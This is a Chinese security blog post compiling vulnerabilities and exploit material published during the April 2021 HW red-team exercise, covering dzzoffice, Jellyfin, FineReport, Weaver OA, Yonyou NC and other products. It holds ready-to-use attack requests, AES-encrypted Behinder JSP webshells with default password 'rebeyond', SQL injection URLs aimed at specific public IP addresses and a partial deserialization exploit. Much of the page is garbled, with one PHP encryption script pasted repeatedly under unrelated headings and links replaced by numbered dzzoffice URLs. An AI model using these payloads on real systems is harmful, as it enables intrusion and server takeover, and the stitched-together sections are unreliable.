首页 网络安全文章正文

2021HW期间公布的部分漏洞及利用方式(部分附POC、EXP)

网络安全 2021年04月19日 22:54 7362 哥来了

开始之前的

志远OA任意用户登录

4月8号安全情报

%&&&&&%0

dzzoffice 前台RCE

项目地址

https://github.com/zyx0814/dzzoffice/releases/

漏洞前提

首先需要获取到authkey 这个可以通过爆破或者其他的方式获取到具体的这个请看文章

我现在的环境的key为:3090dfHwzmw9lsC3

加密脚本

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));

输出的加密结果

构造数据包:

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>

4月9号安全情报

JellyFin任意文件读取

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.1

帆软 V9getshell【历史漏洞】

FineReport V9

注意: 这个漏洞是任意文件覆盖,上传 JSP 马,需要找已存在的 jsp 文件进行覆盖 Tomcat

启动帆软后默认存在的 JSP 文件:

比如:/tomcat-7.0.96/webapps/ROOT/index.jsp

覆盖 Tomcat 自带 ROOT 目录下的 index.jsp:

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}

泛微 OA 8 前台SQL注入

POC

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***注入点

使用Payload查询数据库中sysadmin的密码

Select password as id from HrmResourceManager 
http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%2 0id%20from%20HrmResourceManager

泛微 OA 9前台无限制getshell

漏洞位置:

/page/exportImport/uploadOperation.jsp

文件上传位置:

view-source:http://112.91.144.90:5006/page/exportImport/fileTransfer/1.jsp

wiki POC 链接https://github.com/PeiQi0/PeiQi-WIKI-POC/commit/f5fb98b0cc2c9dcc9b8adce41479cf836265419a

POST /page/exportImport/uploadOperation.jsp HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 397Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3HcAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6dnt: 1x-forwarded-for: 127.0.0.1Connection: close------WebKitFormBoundary6XgyjB6SeCArD3HcContent-Disposition: form-data; name="file"; filename="peiqi.jsp"Content-Type: application/octet-stream<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>------WebKitFormBoundary6XgyjB6SeCArD3Hc--```地址: /page/exportImport/fileTransfer/peiqi.jsp默认密码 rebeyond

和信创天远程桌面命令执行

https://github.com/zyx0814/dzzoffice/releases/1

默安蜜罐管理平台未授权问【官方辟谣】

漏洞信息

幻阵是默安科技首创的一款基于攻击混淆与欺骗防御技术的威胁检测防御系统,由于蜜罐管理平台鉴权不完善,可导致攻击者在未授权的情况下访问管理页面。默安官方发表通告并表示幻阵管理平台存在于内网网址,攻击者难以进行访问,且尽管可以访问也只能让幻阵执行ping指令,不会造成任何安全隐患。

漏洞危害

由于蜜罐管理平台鉴权不完善,可导致攻击者在未授权的情况下访问管理页面。

官方辟谣

默安科技关注到业内有人散布“默安科技幻阵管理后台存在认证绕过漏洞”的不实消息,特此作出如下说明。

天擎越权访问【官方辟谣】

POC

https://github.com/zyx0814/dzzoffice/releases/2

官方:近期,HW期间泄露情报,在Web登录界面且未登录的情况下会显示提示信息,并且会涉及用户组织,功能模块授权过期时间等。天擎官方发表声明并表示Web接口为正常接口,不存在漏洞。

天擎前台SQL注入漏洞【历史漏洞】

PoC

https://github.com/zyx0814/dzzoffice/releases/3

利用方式

https://github.com/zyx0814/dzzoffice/releases/4

官方辟谣

该漏洞为内部已知问题,并且在2020年护网前的版本已经修复。

天融信数据防泄漏系统(LDP)越权修改管理员密码【历史漏洞】

漏洞信息:

天融信数据防泄漏系统越权修改管理员密码,该漏洞为2020年8月17号收到历史情报,非近期HW期间漏洞。

POC

https://github.com/zyx0814/dzzoffice/releases/5

蓝凌OA任意写入漏洞

POC

https://github.com/zyx0814/dzzoffice/releases/6

禅道11.6 SQL注入【历史漏洞】

漏洞信息

11.6版本存在SQL注入漏洞,该漏洞为Nday ,非HW期间0DAY

漏洞验证

注入来源于禅道采用的pathinfo,在以下URL中

https://github.com/zyx0814/dzzoffice/releases/7

对路径的解析为

https://github.com/zyx0814/dzzoffice/releases/8

Solr 任意文件读取漏洞【历史漏洞】

漏洞信息

该漏洞是由于Apache Solr在默认安装时不会开启身份验证,攻击者在未授权情况下访问Config API打开requestDispatcher.requestParsers.enableRemoteStreaming开关,进而通过构造恶意请求,执行SSRF攻击,读取目标服务器的任意文件。

影响范围

https://github.com/zyx0814/dzzoffice/releases/9

POC

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));0

POC2

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));1
<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));2

Apache solr SSRF(服务器端请求伪造)

影响版本

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));3

POC

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));4

参考链接

https://github.com/keven1z/SolrfilereadPOC

致远OA ajax.do 文件上传漏洞【历史漏洞】

漏洞信息

由于致远OA旧版本某些接口存在权限绕过漏洞,攻击者通过特制的HTTP请求将导致接口的权限机制被绕过,并结合某些接口功能实现在未授权情况下上传恶意文件,从而控制目标主机,经验证,该漏洞为2020年12月29日,致远官网发布的2020年10-12月安全通告中历史漏洞。

影响范围

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));5

POC

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));6

冰蝎3默认japx马pass:rebeyond

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));7

成功返回

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));8

亿邮电子邮件系统远程命令执行

参考链接 https://github.com/Tas9er/EYouMailRCE

tools EYouMailRCE-master.zip

POC

<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);
} else {return '';
}
} else {return $keyc.str_replace('=', '', base64_encode($result));
}
}echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE'));9

其他漏洞信息

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>0

4月10号安全情报

用友NC 反序列化利用

漏洞关注点

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>1

EXP

import requestsimport threadpoolimport urllib3import sysimport base64
ip = ""dnslog = "\x79\x37\x64\x70\" #dnslog把字符串转16进制替换该段,测试用的ceye.io可以回显
data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78"
uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
